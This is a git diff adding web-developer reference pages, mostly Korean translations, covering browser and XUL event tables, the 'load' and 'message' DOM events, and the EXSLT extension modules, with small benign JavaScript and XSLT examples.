+   <td>An element is no longer overflowed by its content (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td><code>uploadprogress</code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>Upload is in progress (see {{Event("progress")}}).</td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{Event("ussdreceived")}}</p>
+   </td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>A new <abbr title="Unstructured Supplementary Service Data">USSD</abbr> message is received</td>
+  </tr>
+  <tr>
+   <td>{{Event("voicechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{DOMxRef("MozMobileConnection.voice")}} object changes values.</td>
+  </tr>
+  <tr>
+   <td>{{Event("msContentZoom")}}</td>
+   <td></td>
+   <td><em>Microsoft specific</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("MSManipulationStateChanged")}}</td>
+   <td></td>
+   <td><em>Microsoft specific</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("MSPointerHover")}} {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Microsoft specific</em></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Mozilla-specific_events">Mozilla-specific events</h2>
+
+<div class="note">
+<p><strong>Note:</strong> those events are never exposed to web content and can only be used in chrome content context.</p>
+</div>
+
+<h3 id="XUL_events">XUL events</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Event Name</th>
+   <th scope="col">Event Type</th>
+   <th scope="col">Specification</th>
+   <th scope="col">Fired when...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("broadcast")}}</td>
+   <td></td>
+   <td><a href="/en-US/docs/XUL/Tutorial/Broadcasters_and_Observers#Broadcast_event">XUL</a></td>
+   <td>An <code>observer</code> noticed a change to the attributes of a watched broadcaster.</td>
+  </tr>
+  <tr>
+   <td>{{Event("CheckboxStateChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The state of a <code>checkbox</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/close_event">close</a></td>
+   <td></td>
+   <td>XUL</td>
+   <td>The close button of the window has been clicked.</td>
+  </tr>
+  <tr>
+   <td>{{Event("command")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>An element has been activated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("commandupdate")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>A command update occurred on a <code>commandset</code> element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("DOMMenuItemActive")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>A menu or menuitem has been hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("DOMMenuItemInactive")}}</td>
+   <td></td>
+   <td><em>XUL</em></td>
+   <td>A menu or menuitem is no longer hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popuphidden")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popuphiding")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to be hidden.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popupshowing")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to become visible.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popupshown")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has become visible.</td>
+  </tr>
+  <tr>
+   <td>{{Event("RadioStateChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The state of a <code>radio</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td>{{Event("ValueChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The value of an element has changed (a progress bar for example, useful for accessibility).</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Add-on-specific_events">Add-on-specific events</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Event Name</th>
+   <th scope="col">Event Type</th>
+   <th scope="col">Specification</th>
+   <th scope="col">Fired when...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to move away from each other.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points move away from each other (after a MozMagnifyGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to rotate around a point.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a MozRotateGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a sequence of MozRotateGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points are tapped on the touch surface.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface to invoke the edge UI (Win8 only).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Content has been repainted.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A popup has been blocked</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window has been created.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window is about to be closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>The title of a window has changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been added a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been removed inside from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been added to a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been removed from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog is about to open.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The content of an element has been auto-completed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The frame has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Browser fullscreen mode has been entered or left.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Window has entered/left fullscreen mode, or has been minimized/unminimized.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td><a href="/en-US/docs/DOM/Using_full-screen_mode">DOM fullscreen</a> mode has been entered.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this window.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this tab.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab is about to be restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "ready".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "busy".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been opened.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been selected.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been hidden.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been pinned.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been unpinned.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Developer_tool-specific_events">Developer tool-specific events</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Event Name</th>
+   <th scope="col">Event Type</th>
+   <th scope="col">Specification</th>
+   <th scope="col">Fired when...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been updated.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>A link to a CSS file has been clicked in the "Rules" view of the style inspector.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{DOMxRef("Event")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a></li>
+</ul>
diff --git a/files/ko/web/events/load/index.html b/files/ko/web/events/load/index.html
new file mode 100644
index 0000000000..baef50af25
--- /dev/null
+++ b/files/ko/web/events/load/index.html
@@ -0,0 +1,128 @@
+---
+title: load
+slug: Web/Events/load
+tags:
+  - Event
+  - 이벤트
+translation_of: Web/API/Window/load_event
+---
+<p><code>load</code> 이벤트는 리소스와 그것에 의존하는 리소스들의 로딩이 완료되면 실행됩니다.</p>
+
+<p> </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 class="brush: html" id="Window">Window</h3>
+
+<pre class="brush: html">&lt;script&gt;
+  window.addEventListener("load", function(event) {
+    console.log("All resources finished loading!");
+  });
+&lt;/script&gt;</pre>
+
+<h3 class="brush: html" id="script_엘리먼트"><code>script</code> 엘리먼트</h3>
+
+<pre class="brush: html">&lt;script&gt;
+  var script = document.createElement("script");
+  script.addEventListener("load", function(event) {
+    console.log("Script finished loading and executing");
+  });
+  script.src = "http://example.com/example.js";
+  script.async = true;
+  document.getElementsByTagName("script")[0].parentNode.appendChild(script);
+&lt;/script&gt;</pre>
+
+<h2 id="일반_정보">일반 정보</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">스펙</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">인터페이스</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">취소가능 여부</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">타겟</dt>
+ <dd style="margin: 0 0 0 120px;">Window,Document,Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">기본 동작</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">속성</th>
+   <th scope="col">타입</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("EventTarget")}}</code></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("DOMString")}}</code></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("Boolean")}}</code></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("Boolean")}}</code></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("WindowProxy")}}</code></td>
+   <td><code>{{domxref("Document.defaultView", "document.defaultView")}}</code> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="스펙_정보">스펙 정보</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-load', 'load')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-load', 'Load event')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p>이것은 문서 로딩이 끝날때 수행되는 단계와 연결되는 섹션과 연결됩니다. 'load' 이벤트는 많은 엘리먼트들에서도 발생합니다. 그리고 스펙 문서에서는 많은 곳에서 "<a href="https://html.spec.whatwg.org/multipage/parsing.html#delay-the-load-event">load이벤트를 지연할 수 있는</a>" 것들을 언급한다는 것을 주의하십시오.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="관련_이벤트">관련 이벤트</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/ko/web/events/message/index.html b/files/ko/web/events/message/index.html
new file mode 100644
index 0000000000..1796b8ee0c
--- /dev/null
+++ b/files/ko/web/events/message/index.html
@@ -0,0 +1,152 @@
+---
+title: message
+slug: Web/Events/message
+translation_of: Web/API/BroadcastChannel/message_event
+---
+<p>메시지 이벤트는 메시지가 수신되었음을 알리는 메시지, {{domxref("WebSocket")}}, {{domxref("RTCDataConnection")}} 또는 {{domxref("BroadcastChannel")}} 개체를 알려 줍니다.</p>
+
+<p>대상이 {{domxref("RTCDataConnection")}}, 인 경우 이 이벤트에 대한 이벤트 핸들러를 {{domxref("RTCDataConnection.onmessage")}}속성을 통해 추가할 수 있습니다.</p>
+
+<p>대상이 {{domxref("BroadcastChannel")}}인 경우, 이 이벤트에 대한 이벤트 핸들러를 {{domxref("BroadcastChannel.onmessage")}} 속성을 통해 추가할 수 있습니다.</p>
+
+<h2 id="일반_정보">일반 정보</h2>
+
+<dl>
+ <dt style="width: 120px; text-align: right; float: left;">인터페이스</dt>
+</dl>
+
+<dl>
+ <dd style="margin: 0px 0px 0px 120px;">{{domxref("MessageEvent")}}</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Bubbles</dt>
+ <dd style="margin: 0px 0px 0px 120px;">No</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Cancelable</dt>
+ <dd style="margin: 0px 0px 0px 120px;">No</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Target</dt>
+ <dd style="margin: 0px 0px 0px 120px;">{{domxref("RTCDataChannelEvent")}}, {{domxref("WebSocket")}}, {{domxref("BroadcastChannel")}}</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Default Action</dt>
+ <dd style="margin: 0px 0px 0px 120px;">None</dd>
+</dl>
+
+<h2 id="특성">특성</h2>
+
+<p><em>{{domxref("Event")}}</em>가 진행되는 동안 <em> {{domxref("MessageEvent")}} </em>이러한 속성을 구현합니다.</p>
+
+<dl>
+ <dt><code>data</code> {{readOnlyInline}}</dt>
+ <dd>수신된 메시지를 포함하는 {{domxref("DOMString")}} 가 있습니다.</dd>
+</dl>
+
+<h2 id="방법">방법</h2>
+
+<p><em>{{domxref("Event")}}</em>가 진행되는 동안 <em> {{domxref("MessageEvent")}} </em>이러한 속성을 구현합니다.</p>
+
+<h2 id="관련_자료">관련 자료</h2>
+
+<ul>
+ <li>{{event("open")}}, {{event("close")}}.</li>
+</ul>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">상황</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#event-datachannel-message', 'message on RTCDataChannel') }}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>{{domxref("RTCDataChannel")}} 를 {{domxref("EventTarget")}}로 추가하고 이 이벤트가 전송될 시기를 정의합니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#', 'message on BroadcastChannel')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>{{domxref("RTCDataChannel")}} 를 {{domxref("EventTarget")}}로 추가하고 이 이벤트가 전송될 시기를 정의합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("BroadcastChannel")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("BroadcastChannel")}}  {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="보기">보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC" title="/en-US/docs/CSS/Using_CSS_animations">WebRTC</a></li>
+ <li>BroadcastChannel API</li>
+ <li>WebSockets</li>
+</ul>
diff --git a/files/ko/web/exslt/index.html b/files/ko/web/exslt/index.html
new file mode 100644
index 0000000000..9386e17153
--- /dev/null
+++ b/files/ko/web/exslt/index.html
@@ -0,0 +1,96 @@
+---
+title: EXSLT
+slug: Web/EXSLT
+tags:
+  - EXSLT
+  - XSLT
+  - XSLT_Reference
+translation_of: Web/EXSLT
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }} EXSLT는 <a href="ko/XSLT">XSLT</a>의 확장입니다. 많은 모듈이 있으며, Firefox에서 지원되는 것들은 다음과 같습니다.</p>
+<dl>
+ <dt>
+  <a href="#Common">Common</a> (<code>exsl</code>)</dt>
+ <dd>
+  기본적인 확장 요소와 함수를 제공합니다.</dd>
+ <dt>
+  <a href="#Math">Math</a> (<code>math</code>)</dt>
+ <dd>
+  노드를 비교하는 기능을 제공합니다.</dd>
+ <dt>
+  <a href="#Regular_expressions">Regular expressions</a> (<code>regexp</code>)</dt>
+ <dd>
+  JavaScript 구문 형식의 정규 표현식을 사용할 수 있는 기능을 제공합니다.</dd>
+ <dt>
+  <a href="#Sets">Sets</a> (<code>set</code>)</dt>
+ <dd>
+  집합을 처리하는 기능을 제공합니다.</dd>
+ <dt>
+  <a href="#Strings">Strings</a> (<code>str</code>)</dt>
+ <dd>
+  문자열을 처리하는 함수를 제공합니다.</dd>
+</dl>
+<h3 id="EXSLT_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name="EXSLT_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">EXSLT 사용하기</h3>
+<p>EXSLT 확장을 사용하려면 스타일시트에 사용할 확장 기능의 이름공간(namespace)을 선언해야 합니다. 다음 예제에서는 정규 표현식 꾸러미를 사용하는 경우입니다.</p>
+<pre class="eval">&lt;xsl:stylesheet version="1.0"
+                xmlns:xsl="<a class="external" href="http://www.w3.org/1999/XSL/Transform" rel="freelink">http://www.w3.org/1999/XSL/Transform</a>"
+                xmlns:regexp="<a class="external" href="http://exslt.org/regular-expressions" rel="freelink">http://exslt.org/regular-expressions</a>"
+                extension-element-prefixes="regexp"&gt;
+
+&lt;xsl:import href="regexp.xsl" /&gt;
+
+...
+
+&lt;/xsl:stylesheet&gt;
+</pre>
+<h3 id="Common" name="Common">Common</h3>
+<p>EXSLT Common 꾸러미는 XSLT의 기능을 확장하는 기본적인 함수들을 제공합니다. Common 꾸러미의 이름공간은 <code><span class="nowiki">http://exslt.org/common</span></code>입니다.</p>
+<h4 id=".ED.95.A8.EC.88.98" name=".ED.95.A8.EC.88.98">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/exsl/node-set">exsl:node-set</a></li>
+ <li><a href="ko/EXSLT/exsl/object-type">exsl:object-type</a></li>
+</ul>
+<h3 id="Math" name="Math">Math</h3>
+<p>EXSLT Math 꾸러미는 숫자 값들에 대한 처리와 노드를 비교하는 일들을 수행하는 함수를 제공합니다. Math 꾸러미의 이름공간은 <code><span class="nowiki">http://exslt.org/math</span></code>입니다.</p>
+<h4 id=".ED.95.A8.EC.88.98_2" name=".ED.95.A8.EC.88.98_2">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/math/highest">math:highest</a></li>
+ <li><a href="ko/EXSLT/math/lowest">math:lowest</a></li>
+ <li><a href="ko/EXSLT/math/max">math:max</a></li>
+ <li><a href="ko/EXSLT/math/min">math:min</a></li>
+</ul>
+<h3 id="Regular_expressions" name="Regular_expressions">Regular expressions</h3>
+<p>EXSLT 정규 표현식 꾸러미는 JavaScript 스타일의 정규 표현식을 사용하여 텍스트의 검사, 일치, 치완 등을 수행하는 함수를 제공합니다.</p>
+<p>EXSLT 정규 표현식의 이름공간은 <code><span class="nowiki">http://exslt.org/regular-expressions</span></code>입니다.</p>
